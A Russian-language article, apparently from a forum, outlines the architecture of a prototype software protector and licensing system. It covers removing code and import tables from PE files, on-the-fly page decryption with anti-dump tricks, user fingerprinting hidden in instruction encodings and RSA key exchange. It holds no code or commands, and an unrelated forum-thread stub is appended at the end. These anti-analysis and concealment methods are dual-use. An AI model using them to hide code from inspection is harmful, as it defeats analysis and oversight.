    На базе рассматриваемого в цикле статей прототипа можно собрать и протектор, скажем, для игр - в которых состояние игры и код, работающий с состояниями , благополучно закрыты от постороннего внимания и систему для монетизации программного обеспечения узкой направленности, имеющую что скрывать. Многообразие вариантов, для которых данный прототип может быть использован, способно потрясти воображение даже искушенных на этом поприще. Как говорилось в одной из ранее довольно часто крутящихся на ТВ рекламе - "При всем богатстве выбора другой альтернативы нет".
    В прототипе, описываемом в данном цикле статей используются методики, нашедшие применение в различных, в том числе и коммерческих продуктах - протекторах (например, Armadillo имеет несколько похожий функционал под названием nanomites) - что лишний раз подтверждает востребованность таких методов вообще и для защиты от различных видов анализа в частности, равно как и в целях снятия морально-этических вопросов по этичности создания протекторов исполняемого кода вообще.

СТРУКТУРА ЦИКЛА СТАТЕЙ
В первой статье разберем многообразие требований, предъявляемых к системам подобного рода, а также возможные пути решения в процессе их реализации. Желания определяют возможности, а совокупность возможностей - архитектуру решения (чтобы понимать работу системы, нужно иметь возможность представлять ее себе целиком, без рассеиваний по мелочам). Предвидя возможные мнения о “растекании мыслью по древу” в первой и последующих статьях, процитирую классика - “Подробности - Бог” (Гёте). Именно с помощью подробностей и частой отсылки к различным аспектам, необходимым близкому к совершенству результату и происходит формирование, возможно, нового и более усовершенствованного подхода к предмету вопроса, обсуждаемому в этих статьях.
Во второй статье рассмотрим реализацию аппликатора (протектора, навешивающего необходимые обвязки на модуль, подлежащий контролируемому запуску, включающий изъятие необходимого кода из указанного модуля, а также формирование необходимых цифровых отпечатков). На вход аппликатора подается защищаемый модуль, на выходе получаем защищенный модуль и динамически загружаемую библиотеку с кодом клиентской части, готовые к дистрибьюции, а также лаунчер, запускающий защищенный модуль и взаимодействующий с серверной частью через именованный пайп (при необходимости может быть заменен на работу по сети или иным удовлетворяющим требованиям путем). Шифрование и генерация ключей для асимметричного и симметричного шифрования реализуем на базе библиотеки RSAREF

  • предоставляющей довольно удобный и простой интерфейс, не требующий никаких зависимостей и просто и надежно работающий. Также, для анализа объектного кода распространяемого файла используем дизассемблер длин инструкций UDIS - как простой и надежный инструмент, неприхотливый к требованиям. Фактически, применяемый алгоритм для использования изымаемого из исполняемых секций распространяемого файла объектного кода в качестве носителя информации порождает возможность использования такого метода в качестве не детектируемой стеганографии - с помощью которой можно скрывать любые объемы информации (любые в разумных пределах, разумеется).
    В третьей статье рассмотрим реализацию клиентской части системы (модуль, инициализирующий безопасную для выполнения без возможности снять дамп простыми инструментами, реализующий динамическую расшифровку и выполнение зашифрованного кода без ущерба для производительности контролируемой программы. Во время работы аппликатора, рассмотренного во второй статье, контролируемый модуль проходит процедуры защиты путем удаления из него оригинальной таблицы импортируемых модулей и их функций (IAT, Import Address Table) - вместо которой в IAT вносится запись о модуле клиентской части, обеспечивая загрузку клиентского модуля в процессе инициализации загрузки контролируемого исполняемого модуля. Во избежание перехватов функций расшифровки имиджей исполняемых секций контролируемых модулей, шифрование реализуется путем использования библиотек RSAREF (статически линкованных с проектом, исключающих перехват при обращении к ним, как, к, например, Windows Crypto API. Отдельно нужно отметить использование макросов _AddressOfReturnAddress - позволяющих даже на высокоуровневых языковых конструкциях, предоставляемых языком C реализовать работу с адресом возврата или адресом кода, который вызывает данную функцию - данный функционал может помочь при усовершенствовании проекта в дальнейшем, например, при обработке исполняемых файлов без удаления из них релоков - при таком варианте развития событий необходимо будет учитывать, что на адреса, имеющие релоки при несовпадении адреса загрузки модуля во время его инициализации будет произведена настройка адресов (и для расшифровки нужно будет эти адреса учитывать - чтобы расшифровка прошла корректно и можно было после окончания расшифровки настроить адреса на корректные, с учетом несоответствия адреса загрузки адресу, использованному при компиляции).
    В четвертой статье рассмотрим реализацию серверной части системы (модуль, взаимодействующий с клиентской частью, получающий запросы от клиентской части и возвращающий ответы на такие запросы в сторону клиентской части. Серверная часть в нашем случае реализуется в лаунчере, который запускает контролируемое программное обеспечение и инициализирует ответный именованный пайп, который вызывается клиентской частью системы, получая запросы на который, обеспечивается корректная работа системы. Скорость обработки запросов серверной частью - не менее 100 в секунду (при использовании систем распределения нагрузки это количество может быть увеличено до любых необходимых значений, но для прототипа системы это значение представляется более чем достаточным). При дополнительной реализации интерфейса взаимодействия с базой данных и учетом периодических регистраций на сервер, данная возможность позволяет обеспечить уникальность выполнения распространяемого модуля - при которой выполнение более чем одного экземпляра продукта в единицу времени будет являться основанием для блокировки данного идентификатора в связи с нарушением лицензии. Также можно дополнить данный модуль софта путем замены шифрования по алгоритму RSA на шифрование по алгоритму ECDSA - который может обеспечить многократное увеличение производительности, особо принимая во внимание тот факт, что при реализации данного компонента на серверных мощностях, не имеющих проблем с количеством доступной памяти, вычисления в рамках алгоритма ECDSA могут быть ускорены более чем на порядок! Указанные улучшения, разумеется, выходят за рамки данного цикла статей, но порождают собой почву для усовершенствования такой системы.

НЕОБХОДИМЫЕ АСПЕКТЫ СИСТЕМЫ ЦИФРОВОЙ ДИСТРИБЬЮЦИИ
Первым аспектом каждой системы цифровой дистрибьюции является возможность контролировать запуск распространяемого программного обеспечения в контролируемых условиях, своего рода "песочнице". Данная "песочница" должна уметь запускать распространяемое программное обеспечение в случае, если на это есть разрешение (и прекращать работу программного обеспечения, если такое разрешение исчерпало себя). Такая возможность реализуется путем физического удаления части объектного кода и списка импортируемых библиотек и вызываемых из них функций из исполняемого модуля, подлежащего защите, с хранением указанных данных централизованно на сервере, позволяющем осуществлять контроль доступа - при наличии такого доступа данные отдаются по запросу клиента (снабженные необходимыми цифровыми "отпечатками пальцев", позволяющими при необходимости установить источник утечки таких данных), при исчерпании прав доступа, клиент получает отказ в предоставлении таких данных, тем самым, делая запуск невозможным. Например, если это игра - которая, как правило, не содержит больших исполняемых модулей, храня весь функционал в динамических библиотеках - объектный код изымается из кода библиотеки, с шифрованием остальной части кода симметричным шифрованием и распространением в виде исполняемого модуля, содержащего клиентскую часть "песочницы", ссылка на модуль которой заменяет прежнюю таблицу импортов (с некоторыми нюансами). При этом, удаление импортов контролируемого исполняемого модуля помогает и от попыток восстановления импортов различными утилитами типа ImpRec для снятия дампов из памяти исполняемых модулей. При этом, даже если дамп снять удалось (вручную можно сделать всё, но, порой ручная работа такого рода обойдется во много раз дороже стоимости распространяемого программного обеспечения, лишая этот вариант экономической подоплёки) - с помощью цифровых следов, внедренных в имидж, можно точно определить источник утечки, если более просто - пользователя, допустившего такую утечку, с сообразной реакцией в соответствии с условиями лицензии на право пользования программным обеспечением.
Вторым аспектом каждой системы цифровой дистрибьюции является возможность обеспечения условий, при которых будет максимально затруднена отвязка программного обеспечения от "песочницы" - делающей невозможным неконтролируемый запуск. Такая возможность может быть реализована путем контроля адресного пространства процесса в реальном времени и активное противодействие попыткам снятия дампа. При этом, воспрепятствование попыткам снятия дампа происходит в активной фазе (не просто одноразовое шифрование всех исполняемых страниц, с последующей расшифровкой их по мере исполнения кода, содержащегося в них - но и периодическая замена всех страниц имиджа зашифрованными страницами, своего рода кеширование - не позволяющее находиться в памяти в расшифрованном виде всем страницам, не выполняющимся в данное время. Дополнительно, в целях реализации анти-дампа, зашифрованные страницы содержат атрибут PAGE_NOACCESS - периодически взводимый при замене страниц на шифрованные, что мешает снятию дампа (разумеется, если дампер не использует функционала для предварительной проверки атрибутов страниц памяти, дамп которых предстоит снимать - насколько сложилось в утилитах для снятия дампа, перед таким снятием процесс дампера получает карту распределения виртуальной памяти в адресном пространстве целевой программы и дампит исключительно RX/RWX области, обходя области с PAGE_NO_ACCESS). Наиболее глубокое воспрепятствование снятию дампа выходит за пределы данного цикла статей, но не является тупиковым направлением - учитывая постоянный контроль, буквально по каждой сотне выполняемых инструкций, можно проверять состояние страниц памяти, на которых в данный момент исполнения точно нет - что позволит со скоростью света восстанавливать снятые дампером атрибуты страниц - да и, пожалуй, снятие атрибутов страниц для дампа приведет к неминуемому исключению - которое будет перехвачено векторным обработчиком и обнаружено, с последующим восстановлением необходимых атрибутов страниц принудительно.
Третьим аспектом каждой системы цифровой дистрибьюции является возможность знать, кто из клиентов допустил утечку в виде снятого из адресного пространства контролируемого программного обеспечения дампа памяти с целью последующего восстановления дампа и обеспечения возможности неконтролируемого запуска программного обеспечения, отвязанного от "песочницы" систем. Такая возможность обычно реализуется через fingerprinting - то есть, своего рода "отпечатки пальцев" конкретного экземпляра программного обеспечения. При этом, имея один и тот же изъятый из распространяемого модуля объектный код, может показаться очень трудным и практически невозможным реализовать такой подход на практике. Однако, такой подход есть и на базе прототипа, описываемого этим циклом статей он показывает свою работоспособность. Если же его снабдить и кодами коррекции ошибок (применяемых, например, в кодировании имиджей оптических дисков, в ECC REG памяти и архивах Rar с сохранением информации для восстановления), даже попытка вычистить по максимуму цифровые "отпечатки пальцев" столкнется с NP полной задачей (восстановить истинность инструкций в исполняемых секциях распространяемого модуля, размещение которых не имеет практически никакого закона распределения, с некоторыми нюансами - дающими только вероятностный результат, но не более того).
Четвертым аспектом каждой системы цифровой дистрибьюции является централизованность системы управления запусками программного обеспечения, обеспечивающего бесшовный доступ к процедуре разрешения запусков программного обеспечения, то есть, применение клиент-серверной модели во всех взаимоотношениях клиентской части ("песочница" с контролируемым софтом) и серверной части (протокольная часть, реализующая обмен данными с клиентской частью, защищенная от атак типа replay и других, применимых в данном контексте). При этом, учитывая условия нулевого доверия сторон, необходимо предусмотреть возможность гарантированной невзламываемости протокола как минимум в процессе передачи сеансовых ключей. От надежности данного аспекта зависит надежность всей системы - например, если отсутствует защита от атак типа replay - любой желающий запишет трафик между клиентом и сервером, а затем просто воспроизводёт запрос клиента серверу, получив заранее известный подходящий результат, идентифицируемый как принадлежащий пользователю, у которого он был снят. Помимо прочего, надежность протокола зависит и от способа обмена сеансовыми ключами - если способ обмена позволяет осуществить вторжение в процесс обмена сеансовыми ключами, такой способ не в состоянии предоставить должного уровня безопасности для распространяемого приложения. В прототипе системы цифровой дистрибьюции, которой посвящен данный цикл статей, вопрос протокола решен кардинально, путем использования для обмена ключами асимметричной криптографии по алгоритму RSA с длиной ключа 1024 (данное значение может быть увеличено при желании до любого другого значения). Более того, алгоритм имеет все необходимое для периодического опроса серверной части клиентской частью на предмет подтверждения полномочий запущенного программного обеспечения - и, если, по ряду причин, такие полномочия отозваны, клиентская часть может прекратить работу и завершить процесс. Аналогичным образом может сработать и вариант атаки типа replay - при обнаружении на сервере двух или более одинаковых идентификаторов, система может средствами серверной части заблокировать данный идентификатор пользователя, через которого был произведен replay. что решает проблему кардинально, пусть организационными и не совсем техническими путями, но для целей проекта эта лирика не важна.
Первый аспект системы может быть реализован путем имплантирования в защищаемый модуль кода клиентской части системы (путем указания на динамически загружаемый модуль в таблице импорта исполняемого файла, который при загрузке получает управления на себя и выполняет необходимые для обеспечения запуска в "песочнице", после чего управление возвращается основному потоку защищаемой программы). Вообразите - распространяется программное обеспечение как угодно, хоть с вертолетов разбрасывается - но, чтобы его запустить, надо на сервере разработчика учетную запись зарегистрировать и баланс пополнить (для тех, кто захочет возразить, мол, для одного раза воспользоваться софтом столько лишних приседаний делать это неудобно и невыгодно - на что я могу возразить - учитывая применение такой стратегии, можно менять софт как перчатки, по аналогии со STEAM - у пользователя есть несколько слотов, за которые он платит копеечку определенную - а в каждый из оплаченных слотов можно одну софтину разместить - не понравилась она если - меняй до посинения, пока не найдешь свой столь труднодостижимый идеал и не надо будет платить каждому).
Второй аспект системы может быть реализован путем изъятия части объектного кода из исполняемых секций контролируемого программного обеспечения с последующей заменой нулями и шифрования содержимого оставшейся части исполняемых секций симметричным шифрованием (например, 3DES), с дополнительным удалением из исполняемого файла таблицы импортируемых функций и библиотек, их содержащих. Информация о вызовах из импортируемых библиотек присылается сервером в случае успешного санкционирования запуска данным пользователем данной контролируемой программы. При получении разрешения на запуск от серверной части, клиентская часть размещает имидж контролируемой программы, а при приходе на него управления - расшифровывает эту страницу и вставляет на место изъятые на этой странице опкоды инструкций. Периодически отдельный поток клиентской части заменяет все страницы на их шифрованные аналоги и процесс повторяется вновь и вновь. Если кто-то из читателей попытается возразить, что с таким подходом возникнет большой оверхед - поверьте автору, оверхеда никакого нет, в том числе и на играх, работающих в полноэкранном режиме с применением аппаратного ускорения. Для корректной обработки выполнения кода зашифрованных страниц, применяется векторный обработчик исключений, срабатывающий при доступе к памяти с атрибутами PAGE_NOACCESS в целях выполнения кода - если данная страница памяти еще не расшифрована, идет расшифровка, вставка изъятых инструкций и возврат управления на место возникновения исключения. Помимо расшифровки страниц, выполняющихся в данный момент, предусмотрен своего рода "сборщик мусора" - про которую уже было указано в описании способов реализации второго аспекта системы цифровой дистрибьюции - процедура, выполняемая раз в 15 секунд, заменяющая расшифрованные страницы зашифрованными по всему имиджу - при этом, на время перезаписи страниц, все потоки, кроме выполняющего перезапись, саспендятся и затем резюмируются.
Третий аспект может быть реализован путем вставки цифровых "отпечатков пальцев" в изымаемый из исполняемых секций код, таким образом, чтобы изменения данного кода не влияли на работу контролируемого программного обеспечения, но давали возможность получить информацию об источнике утечки (при этом, не раскрывая сведений о лице, допустившем утечку широкому кругу лиц). Во избежание раскрытия такой информации в качестве цифровых "отпечатков пальцев" будем использовать зашифрованные посредством алгоритма RSA-1024 данные пользователя - которые в битовом представлении будут формировать однозначно идентифицирующую пользователя контролируемой программы последовательность, которую в случае "слива" дампа можно будет восстановить и установить допустившего утечку "пирата". Как было указано в необходимых аспектах систем цифровой дистрибьюции, в прототипе системы можно добавить помехозащищенное кодирование или коды коррекции ошибок (Рида-Соломона, например) - что существенно повысит резистентность системы дистрибьюции от попыток вырезать цифровые "отпечатки пальцев" в целях анонимизации факта утечки распространяемого программного обеспечения.
Четвертый аспект системы реализуется путем организации защищенного обмена данными между клиентской и серверной частью по собственному протоколу, обязанному иметь безопасность на уровне SSL/TLS - с защитой от атак типа replay и других, применимых к ситуации. Для генерации сеансовых ключей может быть использован источник случайных бит из RDTSC команды (чтение счетчика штампа времени, Read Time Stamp Counter). Для передачи сеансовых ключей серверу будет использовано RSA шифрование с длиной ключа 1024 бита (либо любой другой битности по желанию, значение 1024 ничем не обусловлено и не является критичным параметром). При этом, для защиты от атак типа replay можно передавать данные, характерные для конкретного процесса - например, идентификатор процесса и идентификатор потока, либо прочих уникальных для процесса параметров.

АРХИТЕКТУРА СИСТЕМЫ ЦИФРОВОЙ ДИСТРИБЬЮЦИИ
Исходя из необходимых свойств системы и намеченных путей реализации указанных требований, сформируем необходимую архитектуру. При этом, не лишним будет обратить внимание на то, что чем более полно будет описана и объяснена архитектура, тем проще будет воспринимать в ходе чтения дальнейших статей систему целиком, а не совокупность отдельных компонентов. Целостность понимания, в данном случае, является гарантией достижения статьей своих целей

  • популярно объяснить и, возможно, дать задел на будущее применение указанных методов в реализации новых, более усовершенствованных решений на данном поприще.
    Для реализации прототипа системы наиболее привлекательной архитектурой будет следующая структурная схема системы:
    1. Контролируемое программное обеспечение (например, всеми горячо любимый winrar.exe - идеальный вариант, с прототипом пробуем и 32 битную и 64 битную версии программного обеспечения). Предвидя вопросы о том, как же можно обрабатывать код, который содержит релоки (relocation table), замечу, что релоки будут иметь значение до той поры, пока в заголовках файла PE формата есть соответствующий флаг - при его отсутствии (либо намеренном удалении, вместе с таблицей адресов из заголовков), никаких релоков в файле не будет, соответственно, никто не помешает системе цифровой дистрибьюции качественно выполнить то, ради чего она создавалась. В случае наложения защиты на динамически загружаемую библиотеку, данный вопрос аналогичным образом корректируется путем указания дефолтного адреса для загрузки такого модуля и удаления указаний на необходимость применения таблицы перемещений в заголовке PE файла.
    2. Аппликатор (своего рода протектор, которым накрывается контролируемое программное обеспечение) (apply.exe).Данный модуль собирается в форме исполняемого файла, компилируемого в среде Visual Studio, написан на языке С. Помимо наложения клиентской части и изъятия части объектного кода, данный аппликатор генерирует ключи - как для шифрования имиджа, так и для шифрования протокола обмена с сервером сеансовыми ключами. Полученные в результате применения системы цифровой дистрибьюции данные (включая ключи) сохраняются в базе данных формата sqlite3 - в которой идентификатором является имя именованного пайпа, применяемого аппликатором для создания клиентской части системы. Указанные данные востребуются в процессе обеспечения запуска серверной частью и лоадером (серверная часть в виде personifier.dll, лоадер в виде client.exe). В процессе обработки аппликатором целевого исполняемого файла из последнего удаляется таблица импорта и добавляется единственная запись - указывающая на имя клиентской части системы цифровой дистрибьюции и имени функции, подлежащей вызову из распространяемого программного обеспечения. Также формируется новая точка входа, в коде которой выполняется вызов клиентской части системы и последующий (после отработки клиентской части системы цифровой дистрибьюции) переход управления на точку входа оригинальной программы. Основной задачей, решаемой аппликатором, является обеспечение изъятие части объектного кода из распространяемого модуля. При этом, изымаемый код должен соответствовать требованиям для применения его в качестве носителя цифровых “отпечатков пальцев” - то есть, иметь несколько вариантов представления, имеющих схожие результаты, но различные опкоды. Как ни странно это звучит, но это возможно! Более подробно алгоритм изъятия таких опкодов будет рассмотрен в статье, посвященной непосредственно аппликатору. Данный алгоритм позволяет изымать часть объектного кода, позволяющую осуществить его преобразование и использование в качестве носителя информации о пользователе данного экземпляра распространяемого программного обеспечения. При этом, битность исполняемого кода (32 или 64 битный) не влияет на алгоритм и не ухудшает производительность распространяемого программного обеспечения.
    3. Модуль клиентской части системы (динамически загружаемая библиотека, загружающаяся в процессе инициализации загрузки контролируемого программного обеспечения), которая формируется аппликатором на этапе наложения защиты. Данный модуль будет связываться с серверной частью через именованный пайп. Для отграничения от других частей системы назовем его libProtect. Учитывая, что основной удар желающих "отвязать" контролируемое программное обеспечение от "песочницы" придется именно на libProtect, для увеличения стойкости системы вообще и от реверс-инжиниринга в частности, целесообразно будет накрыть клиентскую часть от исследований при помощи протектора кода с помощью виртуализации, например, VMProtect. (protect.dll). При инициализации модуля клиентской части системы цифровой дистрибьюции происходит получение с сервера информации об изъятых байтах, представляющих собой бинарное представление опкодов ассемблерных инструкций, а также информации об импортируемых функциях и библиотеках, их содержащих. Идентификаторы функций представлены в виде аналогии хеша - позволяющего эффективно хранить сведения о вызываемых динамически функциях защищаемого от копирования программного обеспечения.
    4. Модуль серверной части системы использует данные, сформированные аппликатором (приватный ключ RSA, которым защищается протокол общения клиентской части с серверной, изъятый из исполняемых секций контролируемого программного обеспечения объектный код, другие необходимые данные, хранящиеся в виде BLOB структуры - которая легко может быть сохранена в любой базе данных удобной для применения в серверной экосистеме).(personifier.dll)
    5. Прототип сервера - лаунчер, имитирующий в прототипе системы работу сервера, а также выполняющий в прототипе функции запуска контролируемого программного обеспечения и имплантированной в него клиентской части.(client.exe)
    6. Отдельный модуль для проверки наличия в контролируемом программном обеспечении интерпретируемого кода (исполняемый модуль, содержащий только сборку NET и не имеющий бинарного кода для контроля не подойдет в силу отсутствия возможности изымания объектного кода из исполняемых секций).(CheckPE.exe)
    7. Отдельный модуль для снятия цифровых "отпечатков" перед его снабжением клиентской частью аппликатором служит для сохранения цифровых "отпечатков пальцев" с последующим использованием их при передаче клиентскому серверу.(fingerprinter.exe)
    Для обеспечения контролируемой дистрибьюции программного обеспечения на подлежащее контролю программное обеспечение навешивается клиентская часть системы цифровой дистрибьюции, происходит данный процесс с помощью аппликатора.

КРИТЕРИИ КОНТРОЛИРУЕМОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ
Программное обеспечение, контроль за запусками которых возлагается на систему цифровой дистрибьюции должно удовлетворять соответствующим требованиям - которых, на самом деле, не так много - это должен быть исполняемый файл формата PE любой размерности битности (32 или 64 бита не важно). То есть, если в основном исполняемом файле содержится только NET сборка, а основной код защищаемой программы находится в динамически загружаемой библиотеки, подгружаемой в контролируемое программное обеспечение, контролировать необходимо именно такую библиотеку, а не сам исполняемый файл. Также система не будет работать с исполняемыми модулями, защищенными какими-либо крипторами или упаковщиками исполняемых файлов в связи с их модификациями исполняемых секций и внесении своих процедур обработки в процесс загрузки приложения. Для проверки соответствия файла требованиям к наложению системы цифровой дистрибьюции разработан чекер - который предварительно перед обработкой файла проверяет, не наложен ли на исполняемый файл криптор или протектор (анализируя с помощью базы сигнатур крипторов проекта PEiD), а также проверяя, не является ли исполняемый файл MSIL содержащим файлом, в котором объектный код в исполняемых секциях отсутствует полностью от слова совсем.

СТРУКТУРА АППЛИКАТОРА
Аппликатор представляет из себя программное обеспечение, принимающее на вход следующие параметры:
1. Путь к исполняемому файлу контролируемого программного обеспечения
2. Путь к результирующему файлу, в котором будет сохранен снабженный клиентской частью системы цифровой дистрибьюции экземпляр программного обеспечения
3. Путь к файлу с клиентской частью контролируемого программного обеспечения (на базе libprotect)
4. Путь к файлу для сохранения изымаемой из контролируемого файла частью объектного кода для хранения и использования его серверной частью с расширением db (применяем движок СУБД sqlite3).
5. Имя именованного пайпа для обеспечения возможности работы прототипа без помех для других контролируемых экземпляров контролируемого программного обеспечения
6. Опции цифровой дистрибьюции - отключение или включение "отпечатков пальцев", шифрования секций кода и т.д.
7. Примерный размер данных цифровых "отпечатков пальцев" - на случай, если модель злоумышленника "пират" снимет дамп и попробует вычистить данные цифровых "отпечатков пальцев" - учитывая избыточность при хранении указанных данных, даже 1 процент оставшихся данных позволит восстановить информацию об источнике утечки.
По получении указанных параметров аппликатор осуществляет работу с файлами контролируемого программного обеспечения путем парсинга PE заголовков с учетом различной битности объектного кода - 32 или 64 бита, предусматривающих различные пути обработки исходных данных объектного кода.
Для обработки данных исполняемых секций применяется дизассемблер длин инструкций udis, доступный в открытых исходных кодах. Исходный объектный код парсится в структуру, позволяющую удобную обработку полученных данных для целей получения цифровых "отпечатков пальцев" - которые затем трансформируются в массив, содержащий подходящие для таких целей инструкции с параметрами и их адреса относительно секции исполняемого кода.
Критерии таких инструкций определяются следующими требованиями - инструкции имеют возможность представления несколькими путями при сохранении общего размера инструкций, инструкции не затрагивают регистров xBP/xSP и не находятся на границах страниц (учитывая необходимость шифрования и расшифровки страниц "на лету").
После парсинга объектного кода исполняемых секций контролируемого программного обеспечения происходит генерация IV последовательности и ключа для шифрования алгоритмом 3DES исполняемых секций указанного файла. Ключи шифрования и IV последовательность сохраняются в контейнер, путь к которому передается аппликатору в параметре 4 входных данных, для последующей передачи в процессе контролируемых запусков.
После шифрования секций аппликатор производит парсинг импортируемых модулей и функций, используемых этими модулями в модуле контролируемого программного обеспечения и сохранения обнаруженных модулей и функций в таблицы, удобные для хранения данных и доступа к ним, после чего сохраняет все необходимые данные в sqlite3 базу данных для удобства работы с ними серверной части в процессе контролируемого запуска.
После парсинга импортируемых модулей и функций, аппликатор проверяет наличие функций библиотек, пропускаемых без шифрования факта наличия их вызовов (например, d3dx.dll) - после чего остальные записи в IAT (таблице импорта PE файла) удаляются, оставляя лишь пропущенные в процессе парсинга динамически загружаемые библиотеки d3dx.dll и добавляя в IAT свою запись (указывающую на libprotect.dll и ее функцию initialize.
После завершения работ по сохранению необходимых данных, аппликатор сохраняет открытый ключ алгоритма RSA в ресурсах libprotect (клиентской части, обеспечивающей контролируемый запуск экземпляра контролируемого программного обеспечения).
После сохранения в ресурсах публичного ключа, аппликатор корректирует строку, содержащую имя именованного пайпа для связи с сервером в коде клиентской части(libprotect), после чего обновляет контрольную сумму файла клиентской части в ее заголовке и при необходимости помещает ее под навесную защиту VMProtect.

СТРУКТУРА КЛИЕНТСКОЙ ЧАСТИ
Клиентская часть системы создается в форме динамически загружаемой библиотеки (libprotect.dll), которая получает управление при загрузке контролируемого приложения (вместо его ENTRY_POINT - то есть, точки входа), в которой происходит вызов функции initialize клиентской части, после чего управление переходит на оригинальную точку входа.
При получении управления функцией initialize клиентской части осуществляется обращение на именованный пайп (который может быть легко заменен на вызов по сети через интерфейс сокетов) и ожидает возврата в синхронном режиме.
В процессе обращения клиентская часть формирует сеансовый ключ, шифруемый публичным ключом, сохраненным в ресурсах динамически подгружаемой библиотеки клиентской части (libprotect.dll) и посылает его серверной части с целью установления связи и получения разрешения на запуск, включая необходимые данные для запуска в виде изъятого объектного кода контролируемого программного обеспечения.
Полученный от серверной части ответ расшифровывается сеансовым ключом, безопасно переданным серверу и сохраняемому клиентской частью для совершения процедуры обмена между серверной и клиентской частями.
Полученные от серверной части данные используются для формирования IAT таблицы (путем сохранения переходников на вызываемые функции в памяти и замещения адресов в секции PE файла .rdata контролируемого приложения на адреса переходников - что делает невозможным восстановление импорта по остаткам IAT в памяти имиджа.
После обработки IAT секции, в случае наличия опции "Защита кодовых секций от снятия дампа", происходит установка векторного обработчика прерывания и атрибута PAGE_NOACCESS на всех зашифрованных страницах, а также запускается таймер - по срабатывании которого страницы вновь перезаписываются зашифрованными страницами, не оставляя на более, чем интервал таймера страницы в незашифрованном виде.
При поступлении управления на страницу памяти с атрибутом PAGE_NOACCESS генерируется исключение - которое отлавливается векторным обработчиком исключений, установленным клиентской частью системы, в котором происходит анализ адреса возникновения исключения - если доступ осуществлялся исполняемым кодом, атрибуты страницы сбрасываются, содержимое страницы расшифровывается и на страницу устанавливается атрибут PAGE_NOACCESS повторно, который позволяет пошаговую трассировку выполняемых команд с целью недопущения выхода за пределы страницы без соответствующей предварительной расшифровки.

СТРУКТУРА СЕРВЕРНОЙ ЧАСТИ
Серверная часть выполнена в виде динамически подгружаемой библиотеки, позволяющей запуск на любой системе (как Windows, так и Linux) как напрямую, так и через эмуляторы типа Wine.
Динамическая подгружаемая библиотека серверной части позволяет реализовать выполнение необходимого для протокола обмена данными с клиентской частью функционала.
Серверная часть содержит функцию process(), принимающую на вход несколько аргументов:
1. Указатель на запрос, пришедший из клиентской части
2. Размер клиентского запроса, переданный в первом аргументе
3. Данные пользователя
4. Длина данных пользователя
5. Данные аппликатора
6. Размер данных аппликатора
7. Буфер для возврата данных
8. Указатель на буфер с размером данных, переданных в буфере по пункту 7
Функция прототипа серверной части реализована с минимальным ущербом портабельности, благодаря чему может быть пересобрана любым поддерживающем C компиляторе (для удобства вызова из скриптовых языков типа PHP или Python)
Дополнительной особенностью серверной части является адаптация сеансовых ключей под ключ шифрования имиджа (который с помощью ряда логических операций трансформируется с учетом имеющегося у клиента сеансового ключа - таким образом, что разные клиенты получают различные ключи для расшифровки имиджа при запуске.
В системе - прототипе серверная часть вызывается лаунчером, открывающим соответствующий параметру именованный пайп, после чего запускает на выполнение контролируемое программное обеспечение и по получении запроса от клиентской части вызывает функцию серверной части, возвращая ее ответ клиентской части.
Такая архитектура прототипа позволяет с минимальными затратами реализовать любой другой способ связи между клиентской и серверной частями, например, по сети с использованием сокетов.

СТРУКТУРА ЛАУНЧЕРА
Архитектурно лаунчер представляет из себя исполняемый файл, который принимает на вход следующие аргументы:
1. Путь к файлу контролируемого программного обеспечения
2. Путь к файлу базы данных с информацией о контролируемых файлах
3. Наименование именованного пайпа, через который идет общение между клиентской и серверной частями.
Архитектурно лаунчер устроен следующим образом - в процессе запуска контролируемого программного обеспечения лаунчер открывает доступ в базу данных и использует данные, хранящиеся в ней для запуска клиентской части программного обеспечения. Доступ к базе данных для лаунчера ограничен доступом только на чтение. Аналогичным образом к базе данных имеет доступ и утилита снятия цифрового отпечатка пальцев с дампа памяти, предположительно снятого с защищенного процесса.

СТРУКТУРА ЧЕКЕРА КОНТРОЛИРУЕМЫХ ФАЙЛОВ
Чекер контролируемых файлов является утилитой, позволяющей проверить, удовлетворяет ли проверяемый файл критериям применимости системы цифровой дистрибьюции. При открытии проверяемого файла он проверяет необходимые заголовки PE формата с целью выявления программного обеспечения, которое в данный момент нельзя контролируемо распространять.Например, 32 битный или 64 битный неуправляемый код распространять можно, а вот уже с Net сборками все обстоит иначе - там отсутствует бинарный нативный код, соответственно, не позволяющий выдрать часть кода из MSIL. При запуске чекер проводит дополнительную проверку на соответствие файла критериям - среди которых происходит определение на наличие сигнатуры известных упаковщиков, крипторов и протекторов файлов, которые своим наличием делают невозможным обработку файлов системой цифровой дистрибьюции. При определении сигнатур упаковщиков используется база сигнатур упаковщиков проекта PEiD.

ВОПРОСЫ И КОММЕНТАРИИ
Вопросы и комментарии просьба направлять личными сообщениями.

How to decrypt?
ID: 676536fbb4103b69df373886
Thread ID: 46401
Created: 2021-01-06T18:17:53+0000
Last Post: 2021-01-06T18:57:47+0000
Author: shokoshoko
Replies: 2 Views: 1K

